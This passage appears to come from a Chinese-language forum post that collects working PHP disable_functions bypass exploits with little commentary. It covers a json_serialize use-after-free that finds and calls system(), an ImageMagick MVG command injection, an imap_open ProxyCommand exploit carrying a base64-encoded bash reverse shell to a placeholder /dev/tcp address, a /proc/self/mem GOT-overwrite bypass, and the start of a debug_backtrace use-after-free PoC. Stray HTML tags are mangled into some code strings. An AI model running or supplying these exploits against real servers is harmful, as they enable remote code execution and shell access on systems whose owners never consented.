  86.                     <font color="#c678dd">continue</font>;
  87.             } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  88.             <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
  89.         }
  90.     }

  91.     <font color="#c678dd">public</font> function get_binary_base($binary_leak) {
  92.         $base = <font color="#d19a66">0</font>;
  93.         $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
  94.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
  95.             $addr = $start - <font color="#d19a66">0x1000</font> * $i;
  96.             $leak = <font color="#c678dd">$this</font>->leak2($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
  97.             <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
  98.                 <font color="#c678dd">return</font> $addr;
  99.             }
  100.         }
  101.     }

  102.     <font color="#c678dd">public</font> function get_system($basic_funcs) {
  103.         $addr = $basic_funcs;
  104.         <font color="#c678dd">do</font> {
  105.             $f_entry = <font color="#c678dd">$this</font>->leak2($addr);
  106.             $f_name = <font color="#c678dd">$this</font>->leak2($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);

  107.             <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
  108.                 <font color="#c678dd">return</font> <font color="#c678dd">$this</font>->leak2($addr + <font color="#d19a66">8</font>);
  109.             }
  110.             $addr += <font color="#d19a66">0x20</font>;
  111.         } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
  112.         <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
  113.     }

  114.     <font color="#c678dd">public</font> function jsonSerialize() {
  115.         <font color="#c678dd">global</font> $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

  116.         $contiguous = [];
  117.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
  118.             $contiguous[] = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);

  119.         $room = [];
  120.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
  121.             $room[] = <font color="#c678dd">new</font> Z();

  122.         $_protector = <font color="#c678dd">$this</font>->ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">78</font>);

  123.         <font color="#c678dd">$this</font>->abc = <font color="#c678dd">$this</font>->ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">79</font>);
  124.         $p = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);

  125.         <font color="#c678dd">unset</font>($y[<font color="#d19a66">0</font>]);
  126.         <font color="#c678dd">unset</font>($p);

  127.         $protector = <font color="#98c379">".$_protector"</font>;

  128.         $x = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);
  129.         $x->d = <font color="#d19a66">0x2000</font>;
  130.         $x->h = <font color="#d19a66">0xdeadbeef</font>;
  131.         <font color="#5c6370"><i># $this->abc is now of size 0x2000</i></font>

  132.         <font color="#c678dd">if</font>(<font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc) != <font color="#d19a66">0xdeadbeef</font>) {
  133.             <font color="#c678dd">die</font>(<font color="#98c379">'UAF failed.'</font>);
  134.         }

  135.         $spl1 = <font color="#c678dd">new</font> MySplFixedArray();
  136.         $spl2 = <font color="#c678dd">new</font> MySplFixedArray();

  137.         <font color="#5c6370"><i># some leaks</i></font>
  138.         $class_entry = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x120</font>);
  139.         $handlers = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x128</font>);
  140.         $php_heap = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x1a8</font>);
  141.         $abc_addr = $php_heap - <font color="#d19a66">0x218</font>;

  142.         <font color="#5c6370"><i># create a fake class_entry</i></font>
  143.         $fake_obj = $abc_addr;
  144.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0</font>, <font color="#d19a66">2</font>); <font color="#5c6370"><i># type</i></font>
  145.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x120</font>, $abc_addr); <font color="#5c6370"><i># fake class_entry</i></font>

  146.         <font color="#5c6370"><i># copy some of class_entry definition</i></font>
  147.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">16</font>; $i++) {
  148.             <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x10</font> + $i * <font color="#d19a66">8</font>,
  149.                 <font color="#c678dd">$this</font>->leak1($class_entry + <font color="#d19a66">0x10</font> + $i * <font color="#d19a66">8</font>));
  150.         }

  151.         <font color="#5c6370"><i># fake static members table</i></font>
  152.         $fake_tbl_off = <font color="#d19a66">0x70</font> * <font color="#d19a66">4</font> - <font color="#d19a66">16</font>;
  153.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x30</font>, $abc_addr + $fake_tbl_off);
  154.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x38</font>, $abc_addr + $fake_tbl_off);

  155.         <font color="#5c6370"><i># fake zval_reference</i></font>
  156.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + <font color="#d19a66">0x10</font>); <font color="#5c6370"><i># zval</i></font>
  157.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">8</font>, <font color="#d19a66">10</font>); <font color="#5c6370"><i># zval type (reference)</i></font>

  158.         <font color="#5c6370"><i># look for binary base</i></font>
  159.         $binary_leak = <font color="#c678dd">$this</font>->leak2($handlers + <font color="#d19a66">0x10</font>);
  160.         <font color="#c678dd">if</font>(!($base = <font color="#c678dd">$this</font>->get_binary_base($binary_leak))) {
  161.             <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
  162.         }

  163.         <font color="#5c6370"><i># parse elf header</i></font>
  164.         <font color="#c678dd">if</font>(!($elf = <font color="#c678dd">$this</font>->parse_elf($base))) {
  165.             <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF"</font>);
  166.         }

  167.         <font color="#5c6370"><i># get basic_functions address</i></font>
  168.         <font color="#c678dd">if</font>(!($basic_funcs = <font color="#c678dd">$this</font>->get_basic_funcs($base, $elf))) {
  169.             <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
  170.         }

  171.         <font color="#5c6370"><i># find system entry</i></font>
  172.         <font color="#c678dd">if</font>(!($zif_system = <font color="#c678dd">$this</font>->get_system($basic_funcs))) {
  173.             <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
  174.         }
  175.         
  176.         <font color="#5c6370"><i># copy hashtable offsetGet bucket</i></font>
  177.         $fake_bkt_off = <font color="#d19a66">0x70</font> * <font color="#d19a66">5</font> - <font color="#d19a66">16</font>;

  178.         $function_data = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x50</font>);
  179.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">4</font>; $i++) {
  180.             <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off + $i * <font color="#d19a66">8</font>,
  181.                 <font color="#c678dd">$this</font>->leak2($function_data + <font color="#d19a66">0x40</font> * <font color="#d19a66">4</font>, $i * <font color="#d19a66">8</font>));
  182.         }

  183.         <font color="#5c6370"><i># create a fake bucket</i></font>
  184.         $fake_bkt_addr = $abc_addr + $fake_bkt_off;
  185.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x50</font>, $fake_bkt_addr);
  186.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">3</font>; $i++) {
  187.             <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x58</font> + $i * <font color="#d19a66">4</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>);
  188.         }

  189.         <font color="#5c6370"><i># copy bucket zval</i></font>
  190.         $function_zval = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, $fake_bkt_off);
  191.         <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">12</font>; $i++) {
  192.             <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc,  $fake_bkt_off + <font color="#d19a66">0x70</font> + $i * <font color="#d19a66">8</font>,
  193.                 <font color="#c678dd">$this</font>->leak2($function_zval, $i * <font color="#d19a66">8</font>));
  194.         }

  195.         <font color="#5c6370"><i># pwn</i></font>
  196.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off + <font color="#d19a66">0x70</font> + <font color="#d19a66">0x30</font>, $zif_system);
  197.         <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off, $fake_bkt_addr + <font color="#d19a66">0x70</font>);

  198.         $spl1->offsetGet($cmd);

  199.         <font color="#c678dd">exit</font>();
  200.     }
  201. }

  202. $y = [<font color="#c678dd">new</font> Z()];
  203. json_encode([&$y]);
复制代码


ImageMagick
  1. <font color="#61aeee"><?php</font>
  2. <font color="#c678dd">echo</font> <font color="#98c379">"Disable Functions: "</font> . ini_get(<font color="#98c379">'disable_functions'</font>) . <font color="#98c379">"n"</font>;

  3. function AAAA(){
  4. $command = <font color="#98c379">'curl 127.0.0.1:7777'</font>;

  5. $exploit = <font color="#98c379"><<<EOF
  6. push graphic-context
  7. viewbox 0 0 640 480
  8. fill 'url(<img src="https://example.com/image.jpg" alt="" style="max-width:400px" border="0">"|$command")'
  9. pop graphic-context
  10. EOF;</font>

  11. file_put_contents(<font color="#98c379">"KKKK.mvg"</font>, $exploit);
  12. $thumb = <font color="#c678dd">new</font> Imagick();
  13. $thumb->readImage(<font color="#98c379">'KKKK.mvg'</font>);
  14. $thumb->writeImage(<font color="#98c379">'KKKK.png'</font>);
  15. $thumb->clear();
  16. $thumb->destroy();
  17. unlink(<font color="#98c379">"KKKK.mvg"</font>);
  18. unlink(<font color="#98c379">"KKKK.png"</font>);
  19. }
  20. AAAA();
  21. <font color="#61aeee">?></font>
复制代码


imap_open RCE漏洞
  1. <font color="#61aeee"><?php</font>
  2. $payload = <font color="#98c379">"/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"</font>;
  3. $base64 = base64_encode($payload);
  4. $server = <font color="#98c379">"any -oProxyCommand=echot{$base64}|base64t-d|bash"</font>;
  5. @imap_open(<font color="#98c379">"{"</font>.$server.<font color="#98c379">"}:143/imap}INBOX"</font>,<font color="#98c379">""</font>,<font color="#98c379">""</font>);
复制代码



0000000000e94998 R_X86_64_JUMP_SLOT  open

$system_offset and $open_offset:

beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
  1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5

*/</i></font>

function packlli($value) {
    $higher = ($value & <font color="#d19a66">0xffffffff00000000</font>) >> <font color="#d19a66">32</font>;
    $lower = $value & <font color="#d19a66">0x00000000ffffffff</font>;
    <font color="#c678dd">return</font> pack(<font color="#98c379">'V2'</font>, $lower, $higher);
}

function unp($value) {
    <font color="#c678dd">return</font> hexdec(bin2hex(strrev($value)));
}

function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, <font color="#d19a66">0x28</font>, <font color="#d19a66">8</font>));
    $e_shentsize = unp(substr($bin, <font color="#d19a66">0x3a</font>, <font color="#d19a66">2</font>));
    $e_shnum = unp(substr($bin, <font color="#d19a66">0x3c</font>, <font color="#d19a66">2</font>));
    $e_shstrndx = unp(substr($bin, <font color="#d19a66">0x3e</font>, <font color="#d19a66">2</font>));

    <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_shnum; $i += <font color="#d19a66">1</font>) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">4</font>, <font color="#d19a66">4</font>));
        <font color="#c678dd">if</font>($sh_type == <font color="#d19a66">11</font>) { <font color="#5c6370"><i>// SHT_DYNSYM</i></font>
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">24</font>, <font color="#d19a66">8</font>));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">32</font>, <font color="#d19a66">8</font>));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">56</font>, <font color="#d19a66">8</font>));
        }
        <font color="#c678dd">elseif</font>(!<font color="#c678dd">isset</font>($strtab_off) && $sh_type == <font color="#d19a66">3</font>) { <font color="#5c6370"><i>// SHT_STRTAB</i></font>
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">24</font>, <font color="#d19a66">8</font>));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">32</font>, <font color="#d19a66">8</font>));
        }
        <font color="#c678dd">elseif</font>($rela && $sh_type == <font color="#d19a66">4</font>) { <font color="#5c6370"><i>// SHT_RELA</i></font>
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">24</font>, <font color="#d19a66">8</font>));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">32</font>, <font color="#d19a66">8</font>));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + <font color="#d19a66">56</font>, <font color="#d19a66">8</font>));
        }
    }

    <font color="#c678dd">if</font>($rela) {
        <font color="#c678dd">for</font>($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, <font color="#d19a66">8</font>));
            $r_info = unp(substr($bin, $i + <font color="#d19a66">8</font>, <font color="#d19a66">8</font>)) >> <font color="#d19a66">32</font>;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, <font color="#d19a66">4</font>));
            $name = <font color="#98c379">''</font>;
            $j = $strtab_off + $name_off - <font color="#d19a66">1</font>;
            <font color="#c678dd">while</font>($bin[++$j] != <font color="#98c379">"\0"</font>) {
                $name .= $bin[$j];
            }
            <font color="#c678dd">if</font>($name == <font color="#98c379">'open'</font>) {
                <font color="#c678dd">return</font> $r_offset;
            }
        }
    }
    <font color="#c678dd">else</font> {
        <font color="#c678dd">for</font>($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, <font color="#d19a66">4</font>));
            $name = <font color="#98c379">''</font>;
            $j = $strtab_off + $name_off - <font color="#d19a66">1</font>;
            <font color="#c678dd">while</font>($bin[++$j] != <font color="#98c379">"\0"</font>) {
                $name .= $bin[$j];
            }
            <font color="#c678dd">if</font>($name == <font color="#98c379">'__libc_system'</font>) {
                $system_offset = unp(substr($bin, $i + <font color="#d19a66">8</font>, <font color="#d19a66">8</font>));
            }
            <font color="#c678dd">if</font>($name == <font color="#98c379">'__open'</font>) {
                $open_offset = unp(substr($bin, $i + <font color="#d19a66">8</font>, <font color="#d19a66">8</font>));
            }
        }
        <font color="#c678dd">return</font> <font color="#c678dd">array</font>($system_offset, $open_offset);
    }
}

<font color="#c678dd">echo</font> <font color="#98c379">"</font><li><font color="#98c379"> PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"</font>;
<font color="#c678dd">if</font>(strpos(php_uname(<font color="#98c379">'a'</font>), <font color="#98c379">'x86_64'</font>) === <font color="#c678dd">false</font>) {
    <font color="#c678dd">echo</font> <font color="#98c379">"[-] This exploit is for x64 Linux. Exiting\n"</font>;
    <font color="#c678dd">exit</font>;
}
<font color="#c678dd">if</font>(substr(php_uname(<font color="#98c379">'r'</font>), <font color="#d19a66">0</font>, <font color="#d19a66">4</font>) < <font color="#d19a66">2.98</font>) {
    <font color="#c678dd">echo</font> <font color="#98c379">"[-] Too old kernel (< 2.98). Might not work\n"</font>;
}
<font color="#c678dd">echo</font> <font color="#98c379">"</font></li><li><font color="#98c379"> Trying to get open@plt offset in PHP binary\n"</font>;
$open_php = parseelf(<font color="#98c379">'/proc/self/exe'</font>, <font color="#c678dd">true</font>);
<font color="#c678dd">if</font>($open_php == <font color="#d19a66">0</font>) {
    <font color="#c678dd">echo</font> <font color="#98c379">"[-] Failed. Exiting\n"</font>;
    <font color="#c678dd">exit</font>;
}
<font color="#c678dd">echo</font> <font color="#98c379">'[+] Offset is 0x'</font> . dechex($open_php) . <font color="#98c379">"\n"</font>;
$maps = file_get_contents(<font color="#98c379">'/proc/self/maps'</font>);
preg_match(<font color="#98c379">'#\s+(/.+libc\-.+)#'</font>, $maps, $r);
<font color="#c678dd">echo</font> <font color="#98c379">"</font></li><li><font color="#98c379"> Libc location: $r[1]\n"</font>;
$pie_base = hexdec(explode(<font color="#98c379">'-'</font>, $maps)[<font color="#d19a66">0</font>]);
<font color="#c678dd">echo</font> <font color="#98c379">'</font></li><li><font color="#98c379"> PIE base: 0x'</font> . dechex($pie_base) . <font color="#98c379">"\n"</font>;
<font color="#c678dd">echo</font> <font color="#98c379">"</font></li><li><font color="#98c379"> Trying to get open and system symbols from Libc\n"</font>;
<font color="#c678dd">list</font>($system_offset, $open_offset) = parseelf($r[<font color="#d19a66">1</font>]);
<font color="#c678dd">if</font>($system_offset == <font color="#d19a66">0</font> <font color="#c678dd">or</font> $open_offset == <font color="#d19a66">0</font>) {
    <font color="#c678dd">echo</font> <font color="#98c379">"[-] Failed. Exiting\n"</font>;
    <font color="#c678dd">exit</font>;
}
<font color="#c678dd">echo</font> <font color="#98c379">"[+] Got them. Seeking for address in memory\n"</font>;
$mem = fopen(<font color="#98c379">'/proc/self/mem'</font>, <font color="#98c379">'rb'</font>);
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, <font color="#d19a66">8</font>));
<font color="#c678dd">echo</font> <font color="#98c379">'</font></li><li><font color="#98c379"> open@plt addr: 0x'</font> . dechex($open_addr) . <font color="#98c379">"\n"</font>;
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
<font color="#c678dd">echo</font> <font color="#98c379">'</font></li><li><font color="#98c379"> system@plt addr: 0x'</font> . dechex($system_addr) . <font color="#98c379">"\n"</font>;
<font color="#c678dd">echo</font> <font color="#98c379">"</font></li><li><font color="#98c379"> Rewriting open@plt address\n"</font>;
$mem = fopen(<font color="#98c379">'/proc/self/mem'</font>, <font color="#98c379">'wb'</font>);
fseek($mem, $pie_base + $open_php);
<font color="#c678dd">if</font>(fwrite($mem, packlli($system_addr))) {
    <font color="#c678dd">echo</font> <font color="#98c379">"[+] Address written. Executing cmd\n"</font>;
    readfile(<font color="#98c379">'/usr/bin/id'</font>);
    <font color="#c678dd">exit</font>;
}
<font color="#c678dd">echo</font> <font color="#98c379">"[-] Write failed. Exiting\n"</font>;</li></i></i></i></i>[/code]

backtrace
  1. <font color="#61aeee">&lt;?php</font>

  2. <font color="#5c6370"><i># PHP 7.0-7.4 disable_functions bypass PoC (*nix only)</i></font>
  3. <font color="#5c6370"><i>#</i></font>
  4. <font color="#5c6370"><i># Bug: <a href="https://bugs.php.net/bug.php?id=76047" target="_blank">https://bugs.php.net/bug.php?id=76047</a></i></font>
  5. <font color="#5c6370"><i># debug_backtrace() returns a reference to a variable </i></font>
  6. <font color="#5c6370"><i># that has been destroyed, causing a UAF vulnerability.</i></font>
  7. <font color="#5c6370"><i>#</i></font>
  8. <font color="#5c6370"><i># This exploit should work on all PHP 7.0-7.4 versions</i></font>
  9. <font color="#5c6370"><i># released as of 30/01/2020.</i></font>
  10. <font color="#5c6370"><i>#</i></font>
  11. <font color="#5c6370"><i># Author: <a href="https://github.com/mm0r1" target="_blank">https://github.com/mm0r1</a></i></font>

  12. pwn(<font color="#98c379">"uname -a"</font>);

  13. function pwn($cmd) {
  14. &nbsp; &nbsp; <font color="#c678dd">global</font> $abc, $helper, $backtrace;

  15. &nbsp; &nbsp; class Vuln {
  16. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">public</font> $a;
  17. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">public</font> function __destruct() {
  18. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">global</font> $backtrace;
  19. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">unset</font>(<font color="#c678dd">$this</font>-&gt;a);
  20. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$backtrace = (<font color="#c678dd">new</font> <font color="#c678dd">Exception</font>)-&gt;getTrace(); <font color="#5c6370"><i># ;)</i></font>
  21. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>(!<font color="#c678dd">isset</font>($backtrace[<font color="#d19a66">1</font>][<font color="#98c379">'args'</font>])) { <font color="#5c6370"><i># PHP &gt;= 7.4</i></font>
  22. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $backtrace = debug_backtrace();
  23. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  24. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  25. &nbsp; &nbsp; }

  26. &nbsp; &nbsp; class Helper {
  27. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">public</font> $a, $b, $c, $d;
  28. &nbsp; &nbsp; }

  29. &nbsp; &nbsp; function str2ptr(&amp;$str, $p = 0, $s = 8) {
  30. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$address = <font color="#d19a66">0</font>;
  31. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j &gt;= <font color="#d19a66">0</font>; $j--) {
  32. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$address &lt;&lt;= <font color="#d19a66">8</font>;
  33. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$address |= ord($str[$p+$j]);
  34. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  35. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $address;
  36. &nbsp; &nbsp; }

  37. &nbsp; &nbsp; function ptr2str($ptr, $m = 8) {
  38. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$out = <font color="#98c379">""</font>;
  39. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i &lt; $m; $i++) {
  40. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$out .= chr($ptr &amp; <font color="#d19a66">0xff</font>);
  41. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$ptr &gt;&gt;= <font color="#d19a66">8</font>;
  42. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  43. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $out;
  44. &nbsp; &nbsp; }

  45. &nbsp; &nbsp; function write(&amp;$str, $p, $v, $n = 8) {
  46. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$i = <font color="#d19a66">0</font>;
  47. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $n; $i++) {
  48. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$str[$p + $i] = chr($v &amp; <font color="#d19a66">0xff</font>);
  49. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$v &gt;&gt;= <font color="#d19a66">8</font>;
  50. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  51. &nbsp; &nbsp; }

  52. &nbsp; &nbsp; function leak($addr, $p = 0, $s = 8) {
  53. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">global</font> $abc, $helper;
  54. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;write($abc, <font color="#d19a66">0x68</font>, $addr + $p - <font color="#d19a66">0x10</font>);
  55. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$leak = strlen($helper-&gt;a);
  56. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> &lt;&lt; ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
  57. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $leak;
  58. &nbsp; &nbsp; }

  59. &nbsp; &nbsp; function parse_elf($base) {
  60. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_type = leak($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);

  61. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phoff = leak($base, <font color="#d19a66">0x20</font>);
  62. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phentsize = leak($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
  63. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phnum = leak($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);

  64. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $e_phnum; $i++) {
  65. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$header = $base + $e_phoff + $i * $e_phentsize;
  66. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_type&nbsp;&nbsp;= leak($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
  67. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_flags = leak($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
  68. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_vaddr = leak($header, <font color="#d19a66">0x10</font>);
  69. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_memsz = leak($header, <font color="#d19a66">0x28</font>);

  70. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> &amp;&amp; $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
  71. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># handle pie</i></font>
  72. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
  73. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $data_size = $p_memsz;
  74. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> &amp;&amp; $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
  75. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $text_size = $p_memsz;
  76. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  77. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  78. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
  79. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">return</font> <font color="#c678dd">false</font>;

  80. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
  81. &nbsp; &nbsp; }

